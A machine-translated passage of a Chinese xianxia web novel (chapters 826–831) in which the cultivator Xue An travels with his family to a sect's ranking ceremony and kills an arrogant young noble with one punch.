    Xue Liuli walked in with Jian Qi.


    "Why, do you have to leave now?" An Yan couldn''t help but said a little irritably when seeing the two of them carrying their bags.


    Xue Liuli was a little stunned when he saw this, and then he understood what was going on. He couldn''t help but smiled: "Madam, my lord is so kind to me, how can I leave at this time? It''s just that now that the dragons in the Red Chamber have no heads, I have to go back and trim. Then I rushed directly to the Wenzhen Festival, where we will gather at that time!"


    Hearing Xue Liuli''s explanation, An Yan realized that she had misunderstood her, and she couldn''t help but feel a little embarrassed.


    "Uh, I''m sorry... I thought you were also afraid, so you were leaving."


    Xue Liuli smiled, and then turned to give Xue Anshen a salute, "My lord, I will go ahead and wait until the Wenzhen ceremony is over, and then I will follow the adults."


    Xue An nodded, "Go!"


    Xueliu left the two.


    An Yan asked, "Husband, when shall we leave?"


    "Leave tomorrow!"


    the next day.


    Xue An and his family are ready to board the Crane Luan car to the Blood Net Mountain.


    The blissful goddess Mu Ya floated forward and bowed down.


    "grown ups!"


    Xue An was startled slightly.


    Because at this time, Mu Ya had already taken off the white clothes she usually wore, and put on a cyan shirt, her charms had also been reduced, and she looked just like a charming little maid.


    "You are..."


    "My lord, I will drive you with the whip now!" Mu Ya whispered.


    Xue An said lightly: "Are you here to drive the whip for me?"


    "Yes! My lord, the Blood Net Mountain is far away. If you haven''t been there, it will always be a little inconvenient. I happened to have been there once before. It would be most suitable for me to come and drive!"


    After all, Mu Ya looked at Xue An with piercing eyes.


    Xue An gradually laughed, and then nodded, "Alright! It''s just that you are a little wronged!"


    Mu Ya looked happy, "It is an honor for Mu Ya to be of service to the adults!"


    After all, Xue An''s family boarded the Crane Luan car, while Mu Ya held the whip and drove into the sky.


    In the car, An Yan looked suspiciously at the enthusiastic Mu Ya driving in front of him, and then turned to look at Xue An, who looked at her nose, nose, mouth, and heart.


    "Husband?"


    "Ok?"


    "It seems...a bit suspicious!"


    "What is suspicious?"


    "What do you mean?"


    An Yan said quietly, and stretched his hand to Xue An''s waist, then pinched a trace of his flesh and twisted it suddenly.


    Xue An took a breath.


    Don''t look at Xue An''s current golden celestial body, but he grinned in pain under An Yan''s "devil claws".


    Xue An didn''t dare to use the cultivation base, otherwise, what should I do if An Yan is shocked?


    So it can only resist.


    "Yan''er, what are you saying suspicious? I really didn''t understand!" Xue An asked with a wink, seemingly innocent.


    "Hmph, don''t pretend to be confused with me! What''s the matter with Mu Ya? Why do you want to drive you with a whip?"


    "It''s wrong!" Xue An cried out.


    "Do you still dare to call for injustice?" An Yan couldn''t help but twist the meat half a circle.


    Xue An felt a drop of cold sweat slip off his forehead.


    The two little girls looked at Xue An with sympathetic eyes not far away, and then whispered.


    "Dad is so poor!"


    "Yeah! Being bullied by my mother again, and can''t fight back!"


    "Say, what the **** is going on? Did you see that the little girl was so pretty when I was in a coma, and deliberately hooked up with them?" An Yan said with her teeth and dancing claws like a cat with fried hair.


    Xue An sighed, "It''s alright, I said, I said it all! But can you let go of your hand first? I think that piece of meat is about to fall off!"


    An Yan quickly let go of his hand, and looked at Xue An''s waist, a piece of flesh was already green.


    An Yan was also bluffed when he saw this, and then said with infinite regret: "Does it hurt my husband, I''m sorry, I don''t think it takes much effort? Why did you screw it so hard?"


    Xue An grinned, "Can it not hurt? You haven''t used too much effort yet, if you try harder, you will squeeze this piece of my meat down!"


    An Yan was a little embarrassed, and hurriedly leaned in to blow on Xue An''s skin.


    "What are you doing?" Xue An asked.


    "Isn''t it like this when I was young? If you get hurt, just blow it out and it won''t hurt! Isn''t it effective?"


    Xue An was a little bit dumbfounded, but nodded, "Well, it''s really good!"


    At this moment An Yan suddenly remembered something suddenly sat up straight, her mouth pursed Lao Gao, "Huh, you almost turned off the topic again, hurry up and honestly explain what happened to this little girl. ?"


    Xue An stretched out his hand to gently caress An Yan''s long hair, and said softly, "I will tell you if you don''t ask! Actually this little girl is very pitiful."


    Having said that, Xue An told Mu Ya''s origins all over.


    After An Yan listened, tears rolled in her eyes.


    "These people in Bliss Square are simply too bad! This little girl is too poor!"


    Xue An sighed, "Yes, know why there are so many amazing talents and roots in the heavens and worlds, but few people can truly become powerful?"


    "why?"


    "Because those enviable talents and roots are actually their shackles, and this shackle, from the time they were born, they have been burdened! Although the practice of Bliss Fang is a bit extreme, it is still in the world. There are many sects that are more cruel and ruthless than this, and even some Star Masters will directly slaughter the entire world if they find the roots of their talents!"

 Chapter 827： Is this road opened by your house?

    "But why the **** is this!" An Yan''s face turned pale and couldn''t help asking.


    Xue An looked out the window and said lightly: "Because in the eyes of these powerful masters, if they want to become immortals, they have to cut off the mortal feelings and not have the slightest contamination! And in their eyes, mortals are like ants. Not worth mentioning at all."


    An Yan''s complexion became very ugly because she was surprised by Xue An''s words.


    "Of course, there are also many sects that are good to people! These heavens and worlds are originally a place where light and darkness, good and evil are mixed, and after a long time, you will know!"


    "Yeah!" An Yan replied, and then stroked the wound on Xue An''s waist with some pity.


    "Does it still hurt?"


    Xue An exaggeratedly breathed in air, "Of course it hurts!"


    "Sorry husband, I shouldn''t be so rude!" An Yan said with his tongue out.


    Xue An leaned into An Yan''s ear and whispered quietly: "Then how are you going to compensate me?"


    An Yan blushed and said like a mosquito: "My daughter is here!"


    A narrow smile appeared at the corner of Xue An''s mouth, and then whispered something.


    An Yan''s face was instantly flushed, and then Xue An gave Xue An a white look, and said softly: "Rogue! Badass! Bah!"


    Xue An was amused by An Yan''s three consecutive laughs.


    Just when Xue An and his party went to the Blood Net Mountain.


    The news of the upcoming enquiry ceremony has also been completely circulated, and the whole unity has become a sensation.


    Countless sect families and cultivators were all shocked by it.


    After all, that is the supreme Yuanzong Da Sect Blood Net Mountain.


    And this Wenzhen Festival was a rare event in a century, and it naturally attracted countless young talents to attend.


    If you can win a good place on the Qinzhen list, you can say that you will become famous in an instant.


    Under this temptation, all major sects, including those ancient cultivators that have not been born for a long time, sent powerful descendants.


    So the sky road to the Blood Net Mountain instantly became lively and extraordinary.


    Countless gleaming carts and flying boats flew above the sky, some even as large as hundreds of thousands of meters, and there are all kinds of rare birds and animals as horses for pulling carts.


    Compared with these, this crane car looked a little shabby.


    Mu Ya, who was driving, didn''t feel embarrassed at all.


    Because at the moment, her heart is filled with joy.


    Of course she could see that Xue An didn''t have any thoughts about her.


    But as long as she can do something for adults, Muya will feel sincerely happy.


    What''s more, Xue An is now in the chariot behind him.


    Mu Ya is already satisfied to be together so close, there is nothing else to ask for.


    It went on like this for three more days.


    There are more and more flying boats on the road, and more and more crowded.


    But fortunately, Mu Ya''s driving skills are very skilled, so the speed is slightly slower, and it is not affected too much.


    But just as he was marching, there was a loud rumbling noise from behind.


    Mu Ya turned her head and looked.


    I saw a huge spaceship measuring hundreds of meters long rushing over at a crazy speed.


    The speed was so fast that those boats and cars along the road evaded.


    Mu Ya couldn''t help being shocked, and subconsciously wanted to dodge.


    At this moment, Xue An''s indifferent voice came from the chariot behind him.


    "Leave it alone! Go whatever you want!"


    "Yes!" Mu Ya was shocked when she heard the words, and she responded without hesitation, and then continued to drive, without evading at all.


    At the same time, the big ship rushed to the front, and a woman''s shout came from above.


    "The ship ahead, get out of the way!"


    Mu Ya didn''t hear anything, and continued to drive unhurriedly.


    In desperation, the giant spacecraft began to slow down.


    In the end, when it was only a few tens of feet away, it was about to hit, the spacecraft could be considered to be able to stop.


    Then a woman''s furious shout came from above.


    "In front, are you deaf? Or deliberately pretending not to hear? Let you make way, why don''t you?"


    Mu Ya glanced at the big ship obliquely when she heard the words, and saw a purple-clothed girl standing on the bow.


    Although it was a little far away, you could still see the brutal color on the girl''s face.


    "Make way, why should I make way? Is this sky road yours?" Mu Ya replied unceremoniously.


    The purple-clothed girl was dumbfounded, looked at Mu Ya immediately, and then sneered.


    "Where is the little maid, she is really sharp-fanged, isn''t there no master to take care of it?"


    At this moment, Xue An lifted the driving curtain and walked out, looked up at the big ship and the girl in purple clothes standing on the bow, and said lightly: "My maid, is it your turn to comment?"


    "You..." The purple-clothed girl was angry.


    At this moment, a female voice with a hint of calm came from behind her, "Min''er, don''t be rude, step aside!"


    The girl called Min''er didn''t dare to defy, she could only stare bitterly at Xue An and Mu Ya, then dropped her hand to the side.


    Then there was a brave and heroic woman in a red suit who appeared on the bow of the ship, first punching Xue An and the others.


    "I''m very sorry, my junior sister has been spoiled since childhood and has a surly temperament. Please forgive me!"


    Xue An was noncommittal.


    Mu Ya sneered and said: "At this time I know that I came out to pretend to be someone? What if we were hit by your big ship just now?"


    Xue An laughed blankly.


    This Mu Ya once said nothing, but who could have imagined that she would be so pungent after the happy knot was resolved.


    The red-dressed woman''s complexion sank, and her heart was unhappy.


    In her opinion, what kind of identity she is, and she was so good to speak first, but she did not expect to be stunned by a little maid who was driving with a whip.


    This made her very dissatisfied.


    He even looked down upon Xue An a bit.


    He thought that this man didn''t even discipline his little maid, which led to his lack of respect and inferiority. Obviously, he was not a child of a rich family.


    Thinking of this, she couldn''t help her voice getting cold.


    "If it really hits, then we can compensate Huayu Temple as we should!"


    "Compensation? Hehe said lightly, this is when you met us, if you run into other people, what should you do if you hit them to death? Should you also pay compensation?" Mu Ya relentlessly Continue to say.


    The purple-clothed **** the side could no longer bear it anymore, "Senior Sister, what can I say to this kind of poor life? I don''t look at my own abilities, and I want to go to the Blood Net Mountain to participate in the Asking Truth Ceremony with such a broken car? The wishful thinking makes people laugh."


    Xue An''s eyes grew colder.


    At this moment, when the car curtain was lifted, An Yan also walked out.


    "Husband, what happened?"


    Xue An said lightly: "It''s okay!"


    But the woman in red standing on the bow was shocked after seeing An Yan.


    Because she saw the bracelet on An Yan''s wrist.


    "This bracelet... seems to be something worn by the Bai Qing''er Bai Da Zhanghui from the auction guild."

 Chapter 828： Western Region Huayu Temple

    The red-dressed woman was shaking in her heart and couldn''t help asking: "Dare to ask this girl, where does the bracelet on your wrist come from?"


    An Yan was startled slightly, raised her hand and glanced, and couldn''t help laughing: "You said this, this is a gift from a friend of mine."


    The woman in red took a deep breath, "Dare to ask this friend but his last name is Bai?"


    An Yan nodded, "Yes! Is there any problem?"


    After getting the confirmation, the woman in red was shocked and secretly thanked.


    it is as expected.


    Fortunately, watch it carefully by yourself, otherwise it will be troublesome.


    The red-clothed woman is named Gan Jing, and the purple-clothed girl is her junior, named Shui Min. They are all from Huayu Temple in the Guiyi Western Region.


    And the most powerful place of the auction guild happened to be in the Western Regions.


    If that''s all, it wouldn''t be so important to Gan Jing.


    But their sect is different from other sects.


    It is called Huayu Temple because their sect is rich in jade seals and jade slips.


    For Fu Xiu, a good jade seal can make them even more powerful.


    The use of jade slips is even greater.


    The inheritance of the exercises among the sects and the records of all kinds of deeds all need jade slips to complete.


    Because of this, Huayu Temple is so rich.


    But because of this, the auction guild is extremely important to Huayu Temple.


    Because at least 80% of the jade seals and jade slips produced by their Huayu Temple every year are eaten by the auction guild.


    It can be said that if there is no auction guild, the sect economy of Huayu Temple will instantly collapse.


    Therefore, when Gan Jing heard An Yan said that she was friends with Bai Qing''er, her attitude changed drastically.


    "It turned out to be a friend of the White Palm Club. I was so rude to waiting just now. I really feel sorry for it!"


    With that said, Gan Jing also pulled her junior sister Shui Min and bowed to Xue An and others to apologize.


    Such an attitude left Muya speechless.


    An Yan blinked his eyes, although it was a little inexplicable, but An Yan was born in a wealthy family anyway, so it would be nothing to deal with this little scene.


    "Okay, get up! Just pay attention later."


    Only then did Gan Jing straighten up.


    An Yan turned to leave at this moment.


    Gan Jing hurriedly stopped her, "Girl, please stay!"


    "Huh? Is there anything else?" An Yan said lightly.


    Gan Jing said sincerely and sincerely: "Since you are a friend of the White Palm Club, you are also a distinguished guest of our Huayu Temple. If you don''t dislike it, please go on the boat and let us talk about our apologies."


    An Yan frowned slightly, she didn''t know these people, so naturally she didn''t want to go.


    "I don''t think this is necessary anymore!"


    "This girl, if we let White Palms know that we let her friend go like this, she will definitely blame us, so please go on the boat, even if you have a cup of tea!"


    An Yan looked at Xue An with some embarrassment.


    Xue An nodded slightly.


    An Yan just reluctantly agreed: "Okay!"


    So their group got on the big ship of Huayu Temple.


    Only after boarding the boat can we see the luxury and magnanimity of this boat.


    The two little girls took a closer look and were very interested in everything.


    And Gan Jing let An Yan into the cabin.


    And there is a special person to offer fragrant tea.


    But throughout the whole process, Gan Jing focused all her diligence and enthusiasm on An Yan.


    In her opinion, this An Yan is clearly the core of the entire team.


    As for Xue An and Mu Ya.


    It''s nothing more than a vassal and a little maid.


    So the atmosphere seemed a bit awkward.


    At least Anyan felt like sitting on pins and needles.


    Can wait after this warm hospitality.


    The big ship of Huayu Temple didn''t leave, so it followed Xue An and the others behind the body of the Crane Luan to the Blood Net Mountain.


    And along the way, Gan Jing would invite An Yan to sit down from time to time.


    The relationship has gradually become familiar.


    But from the beginning to the end, whether it was Gan Jing or her junior sister Shui Min, they turned a blind eye to Xue An.


    Especially Shui Ming, from time to time he looked at Xue An with a slightly contemptuous expression.


    Because in her opinion.


    This "worthless" man is probably a soft food.


    Xue An just smiled at this, and didn''t bother to pay attention to such a pair of sisters.


    And also deliberately told An Yan not to tell the truth about the two sisters.


    quickly.


    They had already passed through most of the middle area, the mountains became denser, and the terrain gradually swelled, and after traveling for a while, there was a huge plateau towering into the clouds, yet extremely vast.


    At this moment, they are all on the big ship of Huayu Temple.


    Because after entering this plateau, a small car like a crane can no longer withstand the strong spiritual fluctuations here, so Xue An and others boarded the big ship.


    "After passing through this cloud and mist, it is considered as entering the control area of ??Blood Net Mountain, but people are generally used to calling this place Yuanyu." Mu Ya explained.


    Xue An was noncommittal, standing on the bow, his eyes seemed to penetrate the layers of clouds and mist, peeking at everything inside.


    Suddenly.


    The clouds and mist in front of me suddenly disappeared, and everything suddenly became clear.


    I saw an endless plateau in front of me.


    On this plateau, there are exotic flowers and grasses, ancient woods and jungles, and there are many high mountains scattered in the meantime. On the top of the high mountains, there are spiritual waterfalls falling down. The splashing spiritual mist droplets are illuminated by the sun, showing colorful light , Beautiful.


    And the aura of the heavens and the earth is abundant, several grades higher than the outside world.


    You don''t even need to deliberately guide your breathing, those auras will rush in from your pores, which makes people feel refreshed and comfortable.


    Xue An couldn''t help but nod slightly in such a blessed world.


    Because only such a place can give birth to a powerful sect.


    And at this time, in the sky of this elementary domain, there are many flying boats covering the sky, and the countless cultivators who come here make it even more lively and extraordinary.


    At this moment, I heard a cold voice resounding through the world.


    "All the cultivators who came to the Wenzhen Ceremony went to Ancient Sendai!"


    This sentence does not have too much majesty but it rang in the ears and hearts of every repairer.


    That kind of domineering naturally revealed many cultivators were shocked.


    "It should be Master Xuanyue!"


    "Yes, I can only ask that Xuanyueda who is ranked fourth on the true list will have such a strong strength!"


    "It really deserves to be the Yuanzong sect, and Master Xuanyue''s hand alone shows its strength."


    All the cultivators sighed, and then all rushed to the ancient Xiantai.


    This ancient Sendai is located in the middle of Yuanyu.


    It is said that there was a peerless strong man who made a living here and enlightened Dao, and finally touched Da Luo and became a generation of immortal monarchs, hence the name.


    In the past, many grand ceremonies were held here.


    When many practitioners arrive here, the vastness of this ancient Sendai can be revealed.

 Chapter 829： This life is really immortal, but you

    Countless cultivators are just sparsely surrounding it.


    And there is an invisible barrier blocking everyone from moving forward.


    People can only see strange scenes of spiritual energy condensed from time to time on the black ancient platform, and there are bursts of chanting sounds.


    It''s just that the voice is too vague, making it hard to hear what it is saying.


    "This is the magical place of this ancient Xiantai. I heard that after the immortal monarch had enlightened here, he had left a trace of his own insights about the Law of Da Luo here. It can reach the sky in one step and become the body of Daluo! And the sound of chanting is the evolution of the voice of rules!" Mu Ya explained.


    Xue An smiled faintly when he heard the words, "It''s just a real fairy who just touched the edge of a big Luo, dare to call himself a fairy?"


    This sentence is out.


    Both Gan Jing and Shui Min, who were watching the situation of Guxiantai, changed slightly.


    Gan Jing was better. Although she was extremely unhappy, she didn''t show it on the surface.


    But Shui Min really couldn''t hold back.


    Because she had seen Xue An uncomfortable for a long time.


    Therefore, when I heard Xue An''s "big talk", I was extremely angry and laughed.


    "Hehe, you really are not ashamed to say, but also a real immortal? It seems you are so amazing?"


    Xue An glanced at the girl with a stubborn face, "In my opinion, this world is really immortal, it''s really nothing!"


    Every world has its own rules of heaven.


    No world can give birth to strong people of all levels.


    For example, this is one star.


    Its law of heaven has caused the golden immortal here to be perfect.


    But after the real immortal, due to the limitation of energy and rules, there was already a defect.


    As for Da Luo, that has already exceeded the limit of heaven in this world.


    Therefore, over the years, how many amazing talents in this Gui Yi star have been trying to prove Da Luo, but they are not available.


    It''s not that they are working hard in the wrong direction, but that heaven does not allow it.


    Of course, the earth is an exception.


    Although it was cut off by the Chinese power to build the wood behind, the heaven and earth are connected, but the law of heaven and earth there is the most complete that Xue An has ever seen.


    Even Xue An couldn''t feel the end.


    But these things, of course this water sensitivity cannot understand.


    She just widened her eyes now and looked at Xue An.


    "It''s a fairy, but you''re not?"


    Xue An said lightly: "What''s the problem?"


    The corners of Shui Sen''s mouth turned up and he was about to laugh.


    I saw a behemoth that was twice the size of the giant ship in Huayu Temple approaching slowly.


    Then a man with a hint of arrogance heard the voice: "It turned out to be the two juniors from Huayu Temple, it''s a pleasure to meet!"


    Gan Jing and Shui Min looked up together when they heard the words.


    I saw a person standing on top of the tall bow.


    This person seems to be only in his twenties, with a face like a crown, sword, eyebrows and stars, and he is very handsome and extraordinary.


    I saw this person.


    Whether it was Gan Jing or Shui Ming, they all showed surprise and admiration.


    "It turned out to be Shao Wei, you are also here?" Gan Jing bowed and saluted.


    The man standing on the bow of the ship smiled slightly, and then appeared on the ship of Huayu Temple with a flash of figure.


    Shui Min hurried over with a smile on his face, "Brother Haogan!"


    "Junior Sister Shui is getting more and more beautiful!"


    "Brother Haogan is the same too! More and more handsome and extraordinary!"


    This Shui Min smiled so much that his eyes were almost out of sight, and that appearance was in sharp contrast with the face Ruohanshuang just now.


    The reason why the people in Huayu Temple respect this man so much.


    It was entirely because this man was from the Wei family.


    In the Guiyi Western Region where Huayu Temple is located, the Wei family can be regarded as the absolute hegemon.


    And this Wei Haoqian was the Seventh Young Master of the Wei Family.


    Moreover, this person has amazing talents and extremely high cultivation base. He has already broken through the golden immortal powerhouse at a young age.


    Someone once rumored that if Wei Haogan had something to do and failed to go to the last time for the Qin Zhen ceremony, he would definitely have his name on the Qin Zhen list.


    For such an aristocratic family, how dare this Shui Min and others be disrespectful?


    Wei Hao smiled dryly.


    He came here naturally to participate in the enquiry ceremony, and then happened to see the boat at Huayu Temple, so he wanted to come over and poke a few words.


    Looking at the appearance of Shui Min now, it is estimated that when this enquiry ceremony is over, he will be able to get started.


    Wei Haogan thought in his heart, but from the corner of his eyes he caught a glimpse of Xue An and others standing aside.


    When he saw it was a man, and he was a man who was far superior to him in appearance and temperament, his expression sank slightly.


    "Who is this����."


    "Oh~, this is the entourage of a friend we made on the road, and he is also a peerless strong man. He just threatened to say that this world is really immortal, and even said that he is not worthy of being called a fairy king!" This water-sensitive tone is very exaggerated.


    After hearing these words, Wei Haoqian was also startled first, and then couldn''t help laughing.


    "Even a real immortal is nothing but you, it''s really a big tone! But I don''t know what school this friend has learned from, or the son of a big family?"


    Xue An shook his head and said lightly: "Neither!"


    Wei Haoqian and Shui Min looked at each other, the sarcasm on their faces couldn''t help but win.


    At this time, the movement here also attracted the attention of many boats around.


    After hearing what happened.


    These people couldn''t help looking at Xue An with sarcasm or disdain.


    Some people even sneered unceremoniously: "I''m not even a wealthy kid, and I don''t know who gave him the courage to make him speak like this?"


    "I think this guy''s cultivation base is just a half-step golden immortal, right? Isn''t that even true immortals look down on?"


    These ridicules came like a tide.


    Xue An stood there, his gaze slowly swept across the faces of these people, and then said lightly: "A wealthy son? I don''t need it! Because where I am, I am a wealthy person."


    This sentence calms the surroundings.


    Then everyone onlookers laughed loudly.


    Among them, Wei Haogan laughed the most.


    "Okay! Okay! Then I want to get a lesson today, how good you are, even a real fairy!"


    Xue An looked at Wei Haoqian and shook his head gently.


    "Why, scared?" Wei Hao sneered.


    Xue An said lightly: "It''s not that you are afraid, but that you are not worthy!"


    boom!


    This sentence was like a shocking stone, shocking the audience.


    The two of Shui Min and Gan Jing were even more angry.


    Actually dare to say that the Seventh Young Master of the Wei Family is unworthy.


    How arrogant and bold is this man?


    Sure enough, I saw this Wei Haoqian''s face blue, his eyelids throbbing frantically, and he said grimly: "I''m not worthy, then who else is worthy of the whole Guiyi?"


    Xue An stood with his hands in his hands, his clothes wavy, his gaze cast his eyes on the tall and vague mountain peaks that were concealed by the fog in the distance, and his tone was indifferent: "That old guy in the mountain barely deserves it!"

 Chapter 830： What matters to you, one punch

    Wei Haogan didn''t understand what Xue An said at all. He was already bloodshot by Xue An''s words just now, and he wanted to kill him soon.


    "Brother Haoqian, don''t rush at this moment. Wouldn''t it be better to wait for Guxiantai to open and kill this man in front of all the repairers?" Shui Min whispered in comfort.


    Wei Haogan snorted when he heard the words, and then stared at Xue An, "Boy, don''t run, wait for a while on Guxiantai, I will teach you how to be a man!"


    After that, he smiled and stomped his feet, a wind and thunder rolled him up, and in a flash he returned to his own big ship.


    This kind of momentum is enough to make the audience stunned.


    Shui Min smiled coldly at Xue Anyin, turned and left.


    "Looking at the face of Miss Ann and Baizhanghui, I would advise you that you''d better leave here as soon as possible, otherwise Wei Haogan will never let you go!" Gan Jing stepped forward and said solemnly.


    "Go? Why go?" Xue An said lightly.


    Gan Jing was slightly startled, and then a little annoyed: "I don''t know why you have such a strong self-confidence, but the Wei family is definitely not a vegetarian! The Wei family of the Western Regions is not inferior to Tianzong University. The true story of the faction!"


    Xue An smiled slightly, "Heavenly Sect?"


    What else Gan Jing wanted to say.


    Wei Haoqian''s sneer was heard from a distance.


    "Boy, don''t even think about running. No one who dared to provoke me to Wei Hao can survive!"


    Hearing these words, Gan Jing''s expression changed, she glanced at Xue An with the same look of a dead person, turned and left.


    At this moment, her heart is also full of boredom.


    I think Xue An is too arrogant.


    Wait for a while to stand on the Guxiantai, you will know what is the crush of strength! Gan thought quietly.


    At this moment.


    I saw a few brilliance falling from the sky, shooting on the towering pillars around Guxiantai.


    The light faded.


    There appeared several powerful men with fluttering clothes and majestic vigor.


    "Oh my god, is there such a big momentum in this quest for the truth? The five peerless true biography of Blood Net Mountain unexpectedly all appeared!" Someone exclaimed.


    Everyone was shocked.


    No wonder these people are so moved.


    It''s really because the momentum this time is too great.


    I saw these five people appearing either brilliance lingering, or golden light protection body, their aura is so majestic, it is almost impossible to look directly.


    "Guan Lei, Feng Qiyao, Yu Tianming, Xuanyue, Nanwuchang! The five adults came here, except for the hero Luo Sanqian, the true biography of Blood Net Mountain is here!" Someone looked solemn and whispered softly. Tao.


    At the same time, there was another scalp-numbing weird laughter, and then a brilliance appeared on a huge pillar. After showing up, he was a short stature, ugly as a ghost. Old man.


    "It''s the ancestor of the evil demon! The valley master of the evil demon valley has arrived in person! God, how many peerless experts have been shocked by this grand ceremony of asking the truth today?"


    Everyone was shocked.


    As far as the momentum of these six powerhouses can reach, it seems that even the space cannot bear the heavy pressure, and they make bursts of overwhelmed sound of collapse.


    At this time, I only heard the fierce demon ancestor Jie Jie laughed strangely: "I didn''t expect that all of your brothers and sisters would have left the customs. It''s really good! Let''s get started, ancestor I can''t wait to watch a good show!"


    At this moment, I saw the beautiful woman Xuanyue smiled, "The ancestor is in a hurry again. The good show must be watched slowly!"


    After all, he took a step forward, stood in the void, and said coldly: "Everyone, this grand ceremony for asking the truth is ordered by my master personally, in order to reset the ranking of the heroes in the world, so I declare, the grand ceremony Officially begin!"


    With his voice.


    The invisible barrier that originally shrouded this ancient fairy platform gradually dissipated.


    In an instant, some impatient people rushed into Guxiantai and began to challenge each other.


    Because it is about one''s own rank and interests, no one will be merciful at this time, and one shot is each other''s strongest killer move.


    I saw Guanghua faintly, and the killing sound shook the sky.


    In a short while, blood was already flowing on the Guxiantai.


    And the practitioners who entered it also began to gradually decrease.


    At this moment, I saw a beam of brilliance on the Wei Jiazhou boat shooting into Guxiantai. After the establishment, it was Wei Haoqian.


    I saw him standing in the air, reaching out and pointing at Xue An, "Boy, come and die!"


    Someone recognized the Seventh Young Master of the Wei Family, and knew that although this person was not very famous, his strength was definitely a first-class powerhouse.


    But I don''t know who actually offended this person, and actually provoked him so angry.


    So everyone followed the direction Wei Haoqian pointed.


    Eyes converged on Xue An.


    There are surprises.


    There is a pity.


    There is still a lot of gloating.


    In this whirlpool of public opinion, Xue An stood proudly, his mouth raised, revealing a cold smile.


    "Today... it seems that there is going to be a bloodshed killing. I don''t know if this ancient Xiantai will be dyed red!"


    Xue An spoke in a very small voice, even Mu Ya, who was the nearest, could not hear him clearly.


    "My lord, what are you talking about?"


    Xue An smiled faintly, "Nothing!"


    After that, he turned his head and looked into the court, "Since you insist on comparing with me, then I will play with you!"


    With that, Xue An stretched out a finger!


    What do you mean?


    Everyone was at a loss.


    This Wei Hao couldn''t help but froze for a moment, and then said coldly: "What do you mean by extending a finger?"


    Xue Ansen smiled, "I mean...just give you a chance to punch, if you can''t hide, then don''t blame me!"


    boom!


    These words caused a commotion in the audience.


    Shui Min, who was standing not far away, even sneered.


    "At this time, I''m still talking loudly. I really admire this person''s psychological quality!"


    Wei Haogan was even more angry, and said gloomily, "Boy, I will let you know that the Wei family is very knowledgeable!"


    After all, Wei Haoqian''s whole body flickered with thunder, and two Lei Zun Law Bodies appeared in his eyes.


    Thunder light is like a whip, waving in this ancient Xiantai.


    If it weren''t for this place where Sendai had been refined with secret techniques, it would have been destroyed by lightning.


    Seeing this scene, even the strong men standing on the viewing platform could not help but nod their heads.


    "Wei Jialei''s studies are indeed well-deserved!"


    "Boy I see how you beat me with one punch!" Wei Hao laughed dryly.


    Everyone looked at Xue An, and saw that he was still standing on the bow unmoved, and they couldn''t help shaking their heads secretly.


    Think he must lose this time.


    But Xue An laughed at this time, then slowly raised his fist, and said lightly: "Too weak!"


    The sound was not loud, but it spread throughout the audience.


    When everyone was shocked, Xue An''s figure suddenly disappeared in place, and when he appeared here, he had already arrived in front of Wei Haoqian.


    Wei Haoqian didn''t even react, he could only watch Xue An with a fist in horror.


    boom!


    Wei Haoqian was directly exploded with a punch.


    The blood mist dispersed.


    Drifting over the entire ancient Xiantai.

 Chapter 831： The life and death struggle of the ancestors of the Wei family

    The audience was silent.


    The many onlookers who were onlookers changed their expressions.


    No one had expected that this unremarkable man was so powerful that he would blast the Seventh Young Master of the Wei Family of the Western Regions into a **** mist with one punch.


    "This... how is this possible?"


    Standing on the bow of the boat, Shui Min, who was ready to watch the show, couldn''t believe his eyes.


    She never dreamed that this man could actually defeat Wei Haoqian.


    Gan Jing also stared at everything in the field dumbfounded, with incredible writing on her face.


    Only Mu Ya looked at all this calmly.


    She had anticipated this result a long time ago, so she didn''t seem to be surprised


    Then, there was a commotion in the audience.


    Many people showed horror on their faces, and then began to whisper, "This Wei Haogan is a descendant that the ancestors of the Wei family value most. Now that he dies, the trouble will be great!"


    really.


    As soon as the voice fell, I heard a roar from Wei Jiazhou Boat.


    "Dare to kill my godfather, really looking for death!"


    Following the roar, a thunder light rose into the sky and appeared in the field in an instant.


    After being established, he was an old man with white beard and eyebrows and a majestic face.


    "It''s the ancestor of the Wei family!"


    "The ancestors of the Wei family have taken action, it''s lively now!"


    There was a low uproar from the crowd.


    At this time, Shui Min gradually dissipated the consternation in his heart, and a cold smile appeared on his face.


    What can you do if you kill Qi Shao?


    Now that the ancestors of the Wei family take action, you will die even worse.


    "Boy, you are a child of what kind of school and what kind of school, or what kind of wealthy family is your family, why is it so cruel that it will kill me?" The ancestor of the Wei family said in a cold tone.


    Following his voice, the light of thunder faintly appeared on the entire Guxian Terrace, the brilliance was lingering, and there were lightning flashes in the air.


    Even though they were far away, the onlookers still felt that their hair seemed to be erected because of the thunder light, and they couldn''t help being shaken by it.


    This power really deserves to be the ancestor of the Wei family in charge of the Western Regions.


    But Xue An stood in the field, facing the sky full of thunder as if the breeze was blowing on his face, without even swinging the corner of his clothes.


    "Shot? So what you mean, do I want to stand still and let the Seventh General of your family kill me?" Xue An said with a hint of sarcasm.


    The ancestor of the Wei family sank, just waiting to say something.


    Xue An waved his hand, "Stop talking nonsense, if you are not convinced, then come up and die!"


    "A fanatic..." The ancestor of the Wei family was pale with anger, and a lot of thunder light was projected in his eyes, obviously already extremely angry.


    Xue An laughed, "But I have to remind you in advance that standing on this stage is a struggle between life and death. Don''t think that if you have the blessing of your ancestors, you can escape the immortal soul. For example, you, the baby seven... "


    As he said, Xue An opened his hands, and there was a group of divine soul light in the palm of his hand.


    If we say that the ancestor of the Wei family was simply angry because Xue An made a fierce move and smashed the body of his grandson with a punch.


    Now when he saw the spirit in Xue An''s hands, he couldn''t help but ignite a terrible anger in his chest.


    "The fanatic dare..." the ancestor of the Wei family roared.


    A cold smile appeared at the corner of Xue An��s mouth, ��What I hate the most is you group of self-righteous giants, because you guys all have an illusion that only you can control the life and death of others, but when it��s your turn When I was alone, it was hard to accept crying and calling my mother!"


    "But in my eyes, you are also ants!"


    As he said, Xue An''s eyes flashed coldly, and he shook one hand suddenly.


    This Wei Haoqian''s spirit screamed.


    "No... I was wrong, please let me go! Ancestor save me!"


    In the face of real death, this Wei Haoqian no longer has the arrogance of the Wei family, and he began to beg for mercy frantically.


    Because as long as the soul is broken, what awaits him is complete nothingness.


    As he has enjoyed all the glory of the world, this is naturally the most feared thing.


    The ancestors of the Wei family roared even more and made a bold move.


    I saw him stepping forward and punching, the thunder light above his fist, wherever he passed, it seemed that even the space was penetrated.


    But in the face of such a powerful blow, Xue An didn''t even move his eyelids, and no matter how Wei Haogan struggled to beg for mercy, he smashed his mind with a palm.


    "Do not����!"


    The scream stopped abruptly.


    At the same time, the punch of the ancestors of the Wei family, which carried the violent anger, was also blasted.


    Xue An raised his other hand and hit the fist of the ancestor of the Wei family with one hand.


    See this scene.


